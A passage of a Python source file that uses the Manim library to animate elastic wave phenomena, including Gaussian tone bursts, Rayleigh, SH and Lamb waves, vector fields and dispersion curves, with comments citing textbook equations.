\"\"\"flexural wave vertical displacement\"\"\"\r\n return np.exp(1j*(self.gamma*x-self.omega*t))\r\n\r\n def u(self, x, t):\r\n u = []\r\n for i in range(1000):\r\n self.omega = .1*(i+1)\r\n wave = self.w(x, t)\r\n u.append(wave)\r\n return sum(u)/len(u)\r\n \r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 40*PI, 2*PI],\r\n y_range=[-1, 1, 0.5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n )\r\n self.add(axes)\r\n t = ValueTracker(0)\r\n\r\n def update_t(m, dt):\r\n m.increment_value(dt)\r\n t.add_updater(update_t)\r\n\r\n def get_plot():\r\n return axes.plot(lambda x: self.u(x, t.get_value()), color=BLUE, use_vectorized=True, x_range=[0, 40*PI, .1])\r\n plot = always_redraw(get_plot)\r\n\r\n self.add(t)\r\n self.add(plot)\r\n self.wait(2*PI)\r\n\r\n\r\nclass GaussianToneBurst(Scene):\r\n c = 1 # wave speed\r\n k = 5 # wave number\r\n\r\n def f(self, x, t):\r\n \"\"\"a forward propagating wave\"\"\"\r\n return np.exp(1j*self.k*(x-self.c*t))\r\n\r\n def gaussian(self, x, t, tau=None):\r\n \"\"\"gaussian distribution with changing center and width\r\n\r\n Args:\r\n sigma (float, optional): width. Defaults bind to time.\r\n\r\n https://en.wikipedia.org/wiki/Normal_distribution#Alternative_parameterizations\r\n \"\"\"\r\n # mu defining the center of the distribution\r\n mu = self.k*(x-self.c*t)\r\n\r\n # precision tau defining the width of the distribution\r\n # higher precision means narrower distribution\r\n # tau = 1/sigma**2\r\n # Note that the peak decreases as width increases\r\n tau = np.exp(-t**1) if tau is None else tau\r\n\r\n return 2*np.sqrt(tau/(2*PI))*np.exp(-tau*(x-mu)**2/2)\r\n\r\n def u(self, x, t):\r\n \"\"\"without dispersion\r\n\r\n an unchanged gaussian distribution * wave\r\n becomes a tone burst without dispersion\r\n \"\"\"\r\n return self.gaussian(x, t, sigma=5)*self.f(x, t)\r\n\r\n def u_d(self, x, t):\r\n \"\"\"with dispersion\r\n\r\n # https://en.wikipedia.org/wiki/Wave_packet#Dispersive\r\n # https://en.wikipedia.org/wiki/Normal_distribution#Alternative_parameterizations\r\n a changing gaussian distribution * wave\r\n becomes a tone burst with dispersion\r\n \"\"\"\r\n # return ((2/PI)**(1/4)/(1+2j*t)**(1/2))*np.exp(-1/4*self.k**2)*np.exp(-1/(1+2j*t)*(x-1j*self.k/2)**2)\r\n return self.gaussian(x, t)*self.f(x, t)\r\n\r\n def fft(self, u):\r\n \"\"\"fast fourier transform\r\n\r\n Args:\r\n u (array): wave function\r\n\r\n Returns:\r\n array: frequency spectrum\r\n \"\"\"\r\n return np.fft.fftshift(np.abs(np.fft.fft(u).real))\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-PI/4, 4*PI, PI/4],\r\n y_range=[-1, 1, 0.5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=3,\r\n axis_config={\"color\": GREEN},\r\n tips=False, # 坐标箭头\r\n ).to_edge(UP)\r\n fft_axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 100, 1],\r\n y_range=[0, 5, 1],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=3,\r\n axis_config={\"color\": GREEN, \"include_ticks\": False},\r\n tips=False, # 坐标箭头\r\n\r\n ).next_to(axes, DOWN)\r\n self.add(axes, fft_axes)\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n def get_plot():\r\n return axes.plot(lambda x: self.u_d(x, t.get_value()).real, color=BLUE)\r\n plot = always_redraw(get_plot)\r\n\r\n def get_fft_plot():\r\n return fft_axes.plot(lambda x: self.fft(self.u_d(x, t.get_value())), color=BLUE, use_vectorized=True)\r\n fft_plot = always_redraw(get_fft_plot)\r\n self.add(t)\r\n self.add(plot)\r\n self.add(fft_plot)\r\n self.wait(4*PI)\r\n\r\n\r\nclass GroupVelocity(Scene):\r\n gamma1 = 10 # wave speed\r\n gamma2 = 15\r\n omega1 = 1 # frequency\r\n omega2 = 1.5\r\n\r\n d_gamma = gamma2-gamma1\r\n d_omega = omega2-omega1\r\n\r\n gamma_avg = (gamma1+gamma2)/2\r\n omega_avg = (omega1+omega2)/2\r\n\r\n c_g = d_omega/d_gamma # group velocity (eq.221, P.252)\r\n c_avg = omega_avg/gamma_avg # average phase velocity (eq.220, P.251)\r\n\r\n def u(self, x, t):\r\n \"\"\"carrier wave\r\n\r\n Note: constructed by adding two waves with different wave speed and frequency\r\n (eq.215, P.251)\r\n \"\"\"\r\n return 1/2*(np.cos(self.gamma1*x-self.omega1*t) + np.cos(self.gamma2*x-self.omega2*t))\r\n\r\n def g(self, x, t):\r\n \"\"\"modulation wave\r\n\r\n Note: (eq.219, P.251) first part of the equation\r\n \"\"\"\r\n return np.cos(self.d_gamma*x/2-self.d_omega*t/2)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 2*PI, PI/4],\r\n y_range=[-1, 1, 0.5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n )\r\n self.add(axes)\r\n\r\n c_avg_Label = MathTex(\r\n r\"c_{av} = \"+f\"{self.c_avg:.2f}\", color=BLUE).next_to(axes, DOWN)\r\n c_g_Label = MathTex(\r\n r\"c_g = \"+f\"{self.c_g:.2f}\", color=RED).next_to(c_avg_Label, DOWN)\r\n self.add(c_avg_Label, c_g_Label)\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n def get_plot():\r\n return axes.plot(lambda x: self.u(x, t.get_value()), color=BLUE)\r\n plot = always_redraw(get_plot)\r\n\r\n def get_gplot():\r\n return axes.plot(lambda x: self.g(x, t.get_value()), color=RED)\r\n gplot = always_redraw(get_gplot)\r\n\r\n def get_ngplot():\r\n return axes.plot(lambda x: -self.g(x, t.get_value()), color=RED)\r\n ngplot = always_redraw(get_ngplot)\r\n self.add(t)\r\n self.add(plot)\r\n self.add(gplot)\r\n self.add(ngplot)\r\n self.wait(2*PI)\r\n\r\n\r\nclass ShearVerticalWaveVField(Scene):\r\n rho = 1 # density\r\n G = 1 # shear modulus\r\n omega = 1 # angular frequency\r\n\r\n c = (G/rho)**(1/2) # wave speed\r\n gamma = omega/c # wave number\r\n\r\n def w(self, x, t):\r\n \"\"\"shear vertical wave\r\n\r\n Note: Purely shear wave and no flexure takes place. (P. 268)\r\n \"\"\"\r\n return np.exp(1j*(self.gamma*x-self.omega*t))\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 60, 10],\r\n y_range=[-10, 10, 5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 60.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-10.01, 10.01, 5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n self.add(axes)\r\n\r\n def func(x, z):\r\n vertical = self.w(x, t.get_value()).real\r\n return vertical\r\n\r\n # adjust the rate of y axis to make the vector field look good\r\n rate_y = 1\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 60.1, 1):\r\n for z in np.arange(-10, 10.1, 1):\r\n result = func(x, z)\r\n vector = Arrow(start=axes.coords_to_point(x, z),\r\n end=axes.coords_to_point(\r\n x, z+rate_y*result),\r\n buff=0)\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n self.add(field)\r\n self.add(t)\r\n self.wait(2*PI)\r\n\r\n\r\nclass PressureWaveVField(Scene):\r\n rho = 1 # density\r\n E = 40 # elastic modulus\r\n omega = 2 # angular frequency\r\n # https://en.wikipedia.org/wiki/Poisson%27s_ratio\r\n v = 0 # Poisson's ratio ranging between 0.0 and 0.5\r\n\r\n # pressure wave speed (eq.474, p.292)\r\n c = (((1-v)/((1+v)*(1-2*v)))*(E/rho))**(1/2)\r\n gamma = omega/c # wave number\r\n\r\n def u(self, x, t):\r\n \"\"\"pressure wave\r\n\r\n Note: The wave propagates in the direction of the oscillation. (eq.485, p.294)\r\n \"\"\"\r\n return np.exp(1j*(self.gamma*x-self.omega*t))\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 60, 10],\r\n y_range=[-10, 10, 5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 60.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-10.01, 10.01, 5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n self.add(axes)\r\n\r\n def func(x, z):\r\n horizontal = self.u(x, t.get_value()).real\r\n return horizontal\r\n\r\n # adjust the rate of x axis to make the vector field look good\r\n rate_x = 1\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 60.1, 1):\r\n for z in np.arange(-10, 10.1, 1):\r\n result = func(x, z)\r\n vector = Arrow(start=axes.coords_to_point(x, z),\r\n end=axes.coords_to_point(\r\n x+rate_x*result, z),\r\n buff=0)\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n self.add(field)\r\n self.add(t)\r\n self.wait(2*PI)\r\n\r\n\r\nclass RayleighWaveVField(Scene):\r\n A = .1 # amplitude\r\n omega = 2 # angular frequency\r\n c_P = 5 # pressure wave speed\r\n c_S = 5 # shear-vertical wave speed\r\n v = 0.5 # Poisson's ratio ranging between 0.0 and 0.5\r\n\r\n # a common approximation of the rayleigh wave speed (eq.28, p.312)\r\n c_R = c_S*((0.87+1.12*v)/(1+v))\r\n xi = omega/c_R # wave number (eq.29, p.313)\r\n alpha = (xi**2*(1-c_R**2/c_P**2))**(1/2) # (eq.23, p.312)\r\n beta = (xi**2*(1-c_R**2/c_S**2))**(1/2) # (eq.23, p.312)\r\n\r\n def u_x(self, x, y, t):\r\n \"\"\"pressure wave\r\n (eq.31,33, p.313-314)\r\n Note: Add a negative y to fit the author provided animation.\r\n \"\"\"\r\n y = -y\r\n u_x_y = self.A*1j*(self.xi*np.exp(-self.alpha*y)\r\n - (self.beta**2+self.xi**2)\r\n / (2*self.xi)*np.exp(-self.beta*y))\r\n return u_x_y*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n def u_y(self, x, y, t):\r\n \"\"\"shear-vertical wave\r\n (eq.31,33, p.313-314)\r\n Note: Add a negative y to fit the author provided animation.\r\n \"\"\"\r\n y = -y\r\n u_y_y = self.A*(- self.alpha*np.exp(-self.alpha*y)\r\n + (self.beta**2+self.xi**2)\r\n / (2*self.beta)*np.exp(-self.beta*y))\r\n return u_y_y*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 60, 10],\r\n y_range=[0, 20, 5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 60.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(0.01, 20.01, 5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n self.add(axes)\r\n\r\n def func(x, y):\r\n \"\"\"P+SV Solution\"\"\"\r\n P = self.u_x(x, y, t.get_value()).real\r\n SV = self.u_y(x, y, t.get_value()).real\r\n return P, SV\r\n\r\n # adjust the rate of axis to make the vector field look good\r\n rate_x = 2\r\n rate_y = .7\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 60.1, 1):\r\n for y in np.arange(0, 20.1, 1):\r\n P, SV = func(x, y)\r\n vector = Arrow(start=axes.coords_to_point(x, y),\r\n end=axes.coords_to_point(\r\n x+rate_x*P, y+rate_y*SV),\r\n buff=0)\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n self.add(field)\r\n self.add(t)\r\n self.wait(2*PI)\r\n\r\n\r\nclass SHWaveXSymmetricVField(Scene):\r\n d = 1 # half of the thickness of the plate\r\n C1 = 1 # amplitude 1 (eq.48, p.316) symmetric when C1=0 and C2!=0\r\n C2 = 0 # amplitude 2 (eq.48, p.316) anti-symmetric when C2=0 and C1!=0\r\n\r\n # the value of omega, xi, c_S should match the requirement of the mode\r\n omega = 1 # SH angular frequency\r\n xi = 1 # SH wave number (eq.34, p.314)\r\n # c_S = 1 # SH wave speed (eq.36, p.315)\r\n\r\n # angular frequency of the standing wave(eq.40, p.315)\r\n # eta = ((omega**2/c_S**2)-xi**2)**(1/2)\r\n\r\n n = 0 # mode number\r\n if C1 == 0 and C2 != 0: # symmetric\r\n eta = n*PI/d # (eq.52, p.316)\r\n elif C2 == 0 and C1 != 0: # anti-symmetric\r\n eta = (2*n+1)*PI/2/d # (eq.56, p.317)\r\n\r\n # select two to be constants, and let the other one be calculated\r\n # derived from (eq.40, p.315)\r\n # omega = ((eta**2+xi**2)*c_S**2)**(1/2) # SH angular frequency\r\n # xi = ((omega**2/c_S**2)-eta**2)**(1/2) # SH wave number (eq.34, p.314)\r\n c_S = (omega**2/(eta**2+xi**2))**(1/2) # SH wave speed (eq.36, p.315)\r\n\r\n def h(self, y):\r\n \"\"\"standing wave\r\n\r\n Note: symmetric when C1=0 and anti-symmetric when C2=0\r\n \"\"\"\r\n return self.C1*np.sin(self.eta*y)+self.C2*np.cos(self.eta*y)\r\n\r\n def u_z(self, x, y, t):\r\n \"\"\"SH waves\r\n\r\n Note: (eq.43, p.314)\r\n \"\"\"\r\n return self.h(y)*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 30, 10],\r\n y_range=[-self.d, self.d, .5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 30.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-self.d-.01, self.d+.01, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n omega = MathTex(r\"\\omega = \"+f\"{self.omega:.2f}\")\r\n xi = MathTex(r\"\\xi = \"+f\"{self.xi:.2f}\").next_to(omega, RIGHT)\r\n c_S = MathTex(r\"c_S = \"+f\"{self.c_S:.2f}\").next_to(xi, RIGHT)\r\n positive = Tex(r\"+\", color=GREEN).next_to(c_S, RIGHT)\r\n negative = Tex(r\"-\", color=BLUE).next_to(positive, RIGHT)\r\n text = VGroup(omega, xi, c_S, positive,\r\n negative).next_to(axes, UP)\r\n symmetricity_str = None\r\n if self.C1 == 0 and self.C2 != 0:\r\n symmetricity_str = \"Symmetric\"\r\n elif self.C1 != 0 and self.C2 == 0:\r\n symmetricity_str = \"AntiSymmetric\"\r\n symmetricity = Tex(symmetricity_str)\r\n eta = MathTex(\r\n r\"\\eta = \"+f\"{self.eta:.2f}\").next_to(symmetricity, RIGHT)\r\n d = MathTex(r\"d = \"+f\"{self.d:.2f}\").next_to(eta, RIGHT)\r\n mode = MathTex(r\"n_{mode} = \"+f\"{self.n}\").next_to(d, RIGHT)\r\n text2 = VGroup(symmetricity, eta, d, mode).next_to(axes, DOWN)\r\n self.add(axes)\r\n self.add(text)\r\n self.add(text2)\r\n\r\n def func(x, y):\r\n return self.u_z(x, y, t.get_value()).real\r\n\r\n # adjust the rate of axis to make the vector field look good\r\n rate_z = .05\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 30.1, .5):\r\n for y in np.arange(-self.d, self.d+.1, .1):\r\n result = func(x, y)\r\n vector = Dot(radius=rate_z*result if result > 0 else -rate_z*result,\r\n color=GREEN if result > 0 else BLUE).move_to(axes.coords_to_point(x, y))\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n\r\n self.add(field)\r\n self.add(t)\r\n self.wait(2*PI)\r\n\r\n\r\nclass SHDispersionCurve(Scene):\r\n d = 5 # half of the thickness of the plate\r\n C1 = 0 # amplitude 1 (eq.48, P.316) symmetric when C1=0 and C2!=0\r\n C2 = 1 # amplitude 2 (eq.48, P.316) anti-symmetric when C2=0 and C1!=0\r\n\r\n # the value of omega, xi, c_S should match the requirement of the mode\r\n # omega = 1 # SH angular frequency\r\n xi = 1 # SH wave number (eq.34, P.314)\r\n c_S = 1 # SH wave speed(eq.36, P.315)\r\n\r\n n = 0 # mode number\r\n\r\n @ property\r\n def eta(self):\r\n \"\"\"SH Wave frequency\"\"\"\r\n if self.C1 == 0 and self.C2 != 0: # symmetric\r\n eta = self.n*PI/self.d # (eq.52, P.316)\r\n elif self.C2 == 0 and self.C1 != 0: # anti-symmetric\r\n eta = (2*self.n+1)*PI/2/self.d # (eq.56, P.317)\r\n return eta\r\n\r\n def c(self, omega):\r\n \"\"\"SH Wave Speed\"\"\"\r\n result = self.c_S/np.sqrt(1-(self.eta*self.d)\r\n ** 2*(self.c_S/(omega*self.d))**2)\r\n return result\r\n\r\n def omega_critical(self):\r\n \"\"\"Critical Angular Frequency\r\n\r\n Note: Cut-off Frequency (eq.63, P.320)\r\n \"\"\"\r\n return self.c_S*self.eta\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 5, .5], # x must be greater than 0\r\n y_range=[0.9, 2, .5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 5.01, .5),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": [1, 1.5, 2],\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n axes_labels = axes.get_axis_labels(\r\n x_label=Tex(r\"$\\omega$\"),\r\n y_label=Tex(r\"$c(\\omega)$\"),\r\n )\r\n self.add(axes)\r\n\r\n S0 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=RED,\r\n use_vectorized=True)\r\n self.n = 1\r\n S1 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=RED,\r\n use_vectorized=True)\r\n self.n = 2\r\n S2 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=RED,\r\n use_vectorized=True)\r\n self.n = 3\r\n S3 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=RED,\r\n use_vectorized=True)\r\n\r\n self.n = 0\r\n self.C1 = 1\r\n self.C2 = 0\r\n A0 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=BLUE,\r\n use_vectorized=True)\r\n self.n = 1\r\n A1 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=BLUE,\r\n use_vectorized=True)\r\n self.n = 2\r\n A2 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=BLUE,\r\n use_vectorized=True)\r\n self.n = 3\r\n A3 = axes.plot(lambda x: self.c(x),\r\n x_range=[self.omega_critical()+.01, 5, .01],\r\n discontinuities=[self.omega_critical()],\r\n dt=0.01,\r\n color=BLUE,\r\n use_vectorized=True)\r\n\r\n self.add(S0, S1, S2, S3, A0, A1, A2, A3)\r\n # hide the values larger than the y-axis\r\n mask = Rectangle(height=4, width=12, color=BLACK).shift(\r\n UP*4.05).set_fill(BLACK, opacity=1)\r\n self.add(mask)\r\n equation = MathTex(\r\n r\"c(\\omega) = \\frac{c_S}{\\sqrt{1-(\\eta d)^2(\\frac{c_S}{\\omega d})^2}}}\")\r\n c_S = Tex(r\"$c_S$=\"+f\"{self.c_S}\").next_to(equation, RIGHT)\r\n d = Tex(r\"$d$=\"+f\"{self.d}\").next_to(c_S, RIGHT)\r\n above_axes = VGroup(equation, c_S, d).next_to(axes, UP)\r\n self.add(above_axes, axes_labels)\r\n\r\n eta_S = MathTex(r\"\\eta_S = \\frac{n\\pi}{d}\", color=RED)\r\n eta_A = MathTex(\r\n r\"\\eta_A = \\frac{(2n+1) \\pi}{2d}\", color=BLUE).next_to(eta_S, RIGHT)\r\n ns = MathTex(r\"n = 0, 1, 2, 3\").next_to(eta_A, RIGHT)\r\n below_axes = VGroup(eta_S, eta_A, ns).next_to(axes, DOWN)\r\n self.add(below_axes)\r\n\r\n\r\nclass LambWaveSymmetricVField(Scene):\r\n d = 1 # half thickness of the plate\r\n C = 1 # arbitrary constant\r\n xi = 1 # wave number (changing)\r\n omega = 1 # angular frequency (changing)\r\n v = 0.33 # Poisson's ratio https://zh.wikipedia.org/zh-cn/%E6%B3%8A%E6%9D%BE%E6%AF%94\r\n c_P = 1 # speed of P wave\r\n\r\n k = (2*(1-v)/(1-2*v))**(1/2) # (eq.26, P. 312)\r\n c_S = c_P/k # speed of SV wave (eq.26, P. 312)\r\n\r\n @ property\r\n def eta_P(self):\r\n \"\"\"(eq.83, P.325)\"\"\"\r\n return (self.omega**2/self.c_P**2-self.xi**2)**(1/2)\r\n\r\n @ property\r\n def eta_S(self):\r\n \"\"\"(eq.83, P.325)\"\"\"\r\n return (self.omega**2/self.c_S**2-self.xi**2)**(1/2)\r\n\r\n @ property\r\n def f(self):\r\n \"\"\"frequency (before eq.103, P.328)\"\"\"\r\n return self.omega/(2*PI)\r\n\r\n @ property\r\n def xi_(self):\r\n \"\"\"(before eq.103, P.328)\"\"\"\r\n return self.xi*self.d\r\n\r\n @ property\r\n def D(self):\r\n \"\"\"(eq.101, P.328)\"\"\"\r\n return (self.xi**2-self.eta_S**2)**2*np.cos(self.eta_P*self.d)*np.sin(self.eta_S*self.d)+4*self.xi**2*self.eta_P*self.eta_S*np.sin(self.eta_P*self.d)*np.cos(self.eta_S*self.d)\r\n\r\n @ property\r\n def Omega(self):\r\n \"\"\"(before eq.103, P.328)\"\"\"\r\n return self.omega*self.d/self.c_S\r\n\r\n @ property\r\n def eta_P_(self):\r\n \"\"\"(eq.105, P.328)\"\"\"\r\n return (self.Omega**2/self.k**2-self.xi_**2)**(1/2)\r\n\r\n @ property\r\n def eta_S_(self):\r\n \"\"\"(eq.105, P.328)\"\"\"\r\n return (self.Omega**2-self.xi_**2)**(1/2)\r\n\r\n @ property\r\n def D_(self):\r\n \"\"\"(eq.108, P.328)\"\"\"\r\n return (self.xi_**2-self.eta_S_**2)**2*np.cos(self.eta_P_)*np.sin(self.eta_S_)+4*self.xi_**2*self.eta_P_*self.eta_S_*np.sin(self.eta_P_)*np.cos(self.eta_S_)\r\n\r\n def get_scatter(self):\r\n \"\"\"\r\n for loop xi_(xi) value and Omega(omega) value to find the combination that makes D_ = 0\r\n \"\"\"\r\n d_xi = .001\r\n d_omega = .001\r\n self.xi = np.arange(0, 5, d_xi)\r\n self.omega = np.arange(0, 5, d_omega)\r\n self.xi, self.omega = np.meshgrid(self.xi, self.omega)\r\n indices = np.where(np.abs(self.D_ - 0) < 0.01)\r\n xi = indices[1]\r\n omega = indices[0]\r\n xi_ = xi*d_xi*self.d\r\n Omega = omega*d_omega*self.d/self.c_S\r\n return xi_, Omega\r\n\r\n def c_div_cS(self, Omega, xi_):\r\n # (eq.103, P.328)\r\n xi = xi_/self.d\r\n omega = Omega*self.c_S/self.d\r\n # (before eq.112, P.330)\r\n c = omega/xi\r\n return c/self.c_S\r\n\r\n def fd(self, Omega):\r\n # (before eq.112, P.330)\r\n omega = Omega*self.c_S/self.d\r\n fd = omega/(2*PI)*self.d\r\n return fd\r\n\r\n def get_xi_and_omega_by_fd(self, fd):\r\n \"\"\"use fd to calculate omega and xi\r\n\r\n Args:\r\n fd (float): frequency in Hz, get by dispersion curve\r\n \"\"\"\r\n xi_, Omega = self.get_scatter()\r\n c_div_cS = self.c_div_cS(Omega, xi_)\r\n _fd = self.fd(Omega)\r\n # find the closest fd in the scatter set\r\n index = np.argmin(np.abs(_fd-fd))\r\n fd = _fd[index] # scalar\r\n c_div_cS = c_div_cS[index] # scalar\r\n omega = fd*2*PI/self.d\r\n xi = omega/c_div_cS*self.c_S # (before eq.112, P.330)\r\n return xi, omega\r\n\r\n def u_x(self, x, y, t):\r\n \"\"\"(eq. 127, P. 334)\"\"\"\r\n return -1j*self.C*(2*self.xi**2*self.eta_S*np.cos(self.eta_S*self.d)*np.cos(self.eta_P*y)-self.eta_S*(self.xi**2-self.eta_S**2)*np.cos(self.eta_P*self.d)*np.cos(self.eta_S*y))*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n def u_y(self, x, y, t):\r\n \"\"\"(eq. 127, P. 334)\"\"\"\r\n return self.C*self.xi*(2*self.eta_P*self.eta_S*np.cos(self.eta_S*self.d)*np.sin(self.eta_P*y)+(self.xi**2-self.eta_S**2)*np.cos(self.eta_P*self.d)*np.sin(self.eta_S*y))*np.exp(1j*(self.xi*x-self.omega*t))\r\n\r\n @ property\r\n def c_L(self):\r\n \"\"\"Lamb wave speed\"\"\"\r\n return self.omega/self.xi\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 60, 10],\r\n y_range=[-self.d, self.d, .5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 60.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-self.d-.01, self.d+.01, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n self.xi, self.omega = self.get_xi_and_omega_by_fd(.2) # S0\r\n\r\n def func(x, y):\r\n P = self.u_x(x, y, t.get_value()).real\r\n SV = self.u_y(x, y, t.get_value()).real\r\n return P, SV\r\n\r\n # adjust the rate of axis to make the vector field look good\r\n rate_x = .15\r\n rate_y = .03\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 60.1, 1):\r\n for y in np.arange(-self.d, self.d+.1, .1):\r\n P, SV = func(x, y)\r\n vector = Arrow(start=axes.coords_to_point(x, y),\r\n end=axes.coords_to_point(\r\n x+rate_x*P, y+rate_y*SV),\r\n buff=0)\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n\r\n self.add(axes, field, t)\r\n self.wait(2*PI/self.omega)\r\n\r\n\r\nclass LambWaveAntiSymmetricVField(Scene):\r\n \"\"\"Different in D, D_, u_x, u_y\"\"\"\r\n d = 1 # half thickness of the plate\r\n C = 1 # arbitrary constant\r\n xi = 1 # wave number (changing)\r\n omega = 1 # angular frequency (changing)\r\n v = 0.33 # Poisson's ratio https://zh.wikipedia.org/zh-cn/%E6%B3%8A%E6%9D%BE%E6%AF%94\r\n c_P = 1 # speed of P wave\r\n\r\n k = (2*(1-v)/(1-2*v))**(1/2) # (eq.26, P. 312) (eq.474,475, P. 292)\r\n c_S = c_P/k # speed of SV wave (eq.26, P. 312)\r\n\r\n @ property\r\n def eta_P(self):\r\n \"\"\"(eq.83, P.325)\"\"\"\r\n return (self.omega**2/self.c_P**2-self.xi**2)**(1/2)\r\n\r\n @ property\r\n def eta_S(self):\r\n \"\"\"(eq.83, P.325)\"\"\"\r\n return (self.omega**2/self.c_S**2-self.xi**2)**(1/2)\r\n\r\n @ property\r\n def f(self):\r\n \"\"\"frequency (before eq.103, P.328)\"\"\"\r\n return self.omega/(2*PI)\r\n\r\n @ property\r\n def xi_(self):\r\n \"\"\"(before eq.103, P.328)\"\"\"\r\n return self.xi*self.d\r\n\r\n @ property\r\n def D(self):\r\n \"\"\"(eq.115, P.331)\"\"\"\r\n return 